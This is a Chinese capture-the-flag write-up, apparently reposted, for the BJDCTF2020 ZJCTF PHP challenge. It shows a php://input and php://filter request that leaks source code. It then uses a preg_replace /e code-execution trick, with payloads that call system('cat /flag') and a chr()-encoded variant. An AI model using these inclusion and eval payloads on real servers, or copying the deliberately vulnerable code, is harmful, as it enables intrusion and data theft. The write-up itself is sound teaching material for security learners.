ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题
題目一上來(lái)就直接放出一段代碼,那么話不多說(shuō),直接進(jìn)行代碼設(shè)計(jì)。
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "
".file_get_contents($text,'r')."
";if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
從這里我們不難看出
需要傳入text和file 兩個(gè)參數(shù)
text不能為空且需要file_get_contents($text,‘r’)“等于I have a dream”
file對(duì)flag進(jìn)行了過(guò)濾,因此我們不能直接getflag
源碼給出了提示,我們可以對(duì)這個(gè)next.php想辦法。
這里我們以此來(lái)解決問(wèn)題
首先f(wàn)ile_get_contents()是從文件中讀取數(shù)據(jù),但是這里我們是需要從text參數(shù)中獲取,因此我們需要使用到php的偽協(xié)議 php://input
php://input 是個(gè)可以訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流。通過(guò)它可以讀取沒(méi)有處理過(guò)的POST數(shù)據(jù),從而為file_get_contents()提供數(shù)據(jù)源
直接include(‘next.php’)沒(méi)有任何有用的回顯,因此我們可以利用文件包含漏洞來(lái)讀取源代碼,這里用到了另一個(gè)php偽協(xié)議php://filter
php://filter 是php中獨(dú)有的一個(gè)協(xié)議,可以作為一個(gè)中間流來(lái)處理其他流,可以進(jìn)行任意文件的讀取.
常見(jiàn)的構(gòu)造方法形如 :
php://filter/read=convert.base64-encode/recource=index.php
該語(yǔ)句會(huì)將index.php的源碼內(nèi)容讀取并轉(zhuǎn)換成base64編碼,配合include()就可以顯示在頁(yè)面上。
總上所述我們可以構(gòu)造如下payload
POST /?text=php://input&file=PHP://filter/read%3dconvert.base64-encode/resource%3dnext.php HTTP/1.1
Host: ca6d6997-743e-4428-8758-310ee98d80d5.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=175ba1a882d28-0fc3a4b8b8c4e7-4c302372-1fa400-175ba1a882e130
Upgrade-Insecure-Requests: 1
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
I have a dream
成功獲得源碼的base64轉(zhuǎn)義
>PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
轉(zhuǎn)義后的源碼為
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
又是一個(gè)新的代碼審計(jì)內(nèi)容,通過(guò)分析我們可以知道
該php會(huì)遍歷所有g(shù)et出傳入的參數(shù)并complex(re,str)函數(shù),其中re為出傳入的參數(shù)名,str為對(duì)應(yīng)的值
getFlag函數(shù)有執(zhí)行eval的權(quán)限,應(yīng)該就是我們最終的目標(biāo)
complex返回grep_replace()的結(jié)果,而grep_replace()在/e的匹配模式下,會(huì)將替換后的字符串作為php代碼執(zhí)行。
因此我們的最終目標(biāo)就是利用grep_replace()達(dá)到執(zhí)行g(shù)etFlag函數(shù)的目的。
接下來(lái)就是對(duì)grep_replace()的具體分析
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str )
簡(jiǎn)單的介紹一下preg_replace
preg_replace ($pattern , $replacement , $subject )
其中 $pattern為正則表達(dá)式
$replacement為替換字符串
$subject 為要搜索替換的目標(biāo)字符串或字符串?dāng)?shù)組
這個(gè)函數(shù)存在一些奇異的地方,正則表達(dá)式$pattern以/e結(jié)尾時(shí)$replacement的值會(huì)被作為php函數(shù)執(zhí)行。
例如執(zhí)行 preg_replace (‘/test/e’ , "phpinfo();" , "test" )
“test”會(huì)被替換為phpinfo();并執(zhí)行。
再來(lái)分析一下題目中的表達(dá)式
匹配規(guī)則和被匹配字符串我們都可以控制
這兒的strtolower("\1")有點(diǎn)特別,通過(guò)查閱資料\1表示取出正則匹配后的第一個(gè)子匹配中的第一項(xiàng)。
舉個(gè)例子,
preg_replace('/(\S)(\S)/i','strtolower("\\1")', "123Abc")
// \S表示匹配任何非空白字符,()表示匹配的子串
就會(huì)被替換成
strtolower("1")strtolower("3")strtolower("b")
其中大致的處理過(guò)程可以分解成這樣
php對(duì)123Abc進(jìn)行匹配,正則表達(dá)式為(\S)(\S),匹配任意2個(gè)非空字符
正則首先匹配到的是[’1‘ ,’2‘],然后將其替換成strtolower("\1"),又因?yàn)閈1會(huì)匹配第一個(gè)子串,所以strtolower("\1")就變成了strtolower(“1”)
然后重復(fù)順序的進(jìn)行如上匹配規(guī)則執(zhí)行,就有了上面的最終匹配結(jié)果。
回到題目上來(lái),如何讓strtolower("")里面的內(nèi)容當(dāng)作函數(shù)被執(zhí)行呢?這里有一個(gè)知識(shí)點(diǎn)
在php中,雙引號(hào)里面如果包含有變量,php解釋器會(huì)將其替換為變量解釋后的結(jié)果;單引號(hào)中的變量不會(huì)被處理。也就是說(shuō)我們可以構(gòu)造一個(gè)變量來(lái)達(dá)到執(zhí)行命令的目的。
通過(guò){${}}可以構(gòu)造特殊的變量。
echo "{${phpinfo()}}";
echo "${phpinfo()}";
注:在5.5及以上版本下,第二種寫(xiě)法也可以生效,實(shí)測(cè)5.3/5.4會(huì)報(bào)錯(cuò)
構(gòu)造上述的變量,phpinfo就會(huì)被執(zhí)行。
感興趣的可以參考
https://www.cnblogs.com/dhsx/p/4991983.html
知道了這個(gè)我們的大概思路就出來(lái)了
構(gòu)造正則表達(dá)式匹配字符串
構(gòu)造字符串調(diào)用getFlag()函數(shù)
cmd傳入命令獲取flag
那么現(xiàn)在只剩下如何構(gòu)造正則表達(dá)式,通常會(huì)使用
.來(lái)匹配任意字符串,但是本題目中GET參數(shù)中傳入的.會(huì)被php的安全機(jī)制替換成_,導(dǎo)致正則匹配失敗。我們可以通過(guò)\S來(lái)實(shí)現(xiàn)匹配。
注:
\S 匹配任意非空白字符(空白字符如回車、換行、分頁(yè)等 )
. 匹配任意字符但不包含回車換行
* 貪婪模式,匹配任意次的最大長(zhǎng)度
( ) 合并整體匹配,并放入內(nèi)存,可使用\1 \2...依次獲取
最終payload
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
這里構(gòu)造
/next.php?\S*={${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}}
也是可以的,此處用chr()表示字符是因?yàn)橹苯邮褂谩狈?hào)就導(dǎo)致閉合出現(xiàn)問(wèn)題。
成功獲取flag
標(biāo)簽:BJDCTF2020,匹配,ZJCTF,replace,chr,file,strtolower,php
來(lái)源: https://blog.csdn.net/xiayu729100940/article/details/112478012
總結(jié)
以上是生活随笔為你收集整理的ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: CentOS7升级MariaDB 10.
- 下一篇: php文件显示文字乱码怎么解决,php遍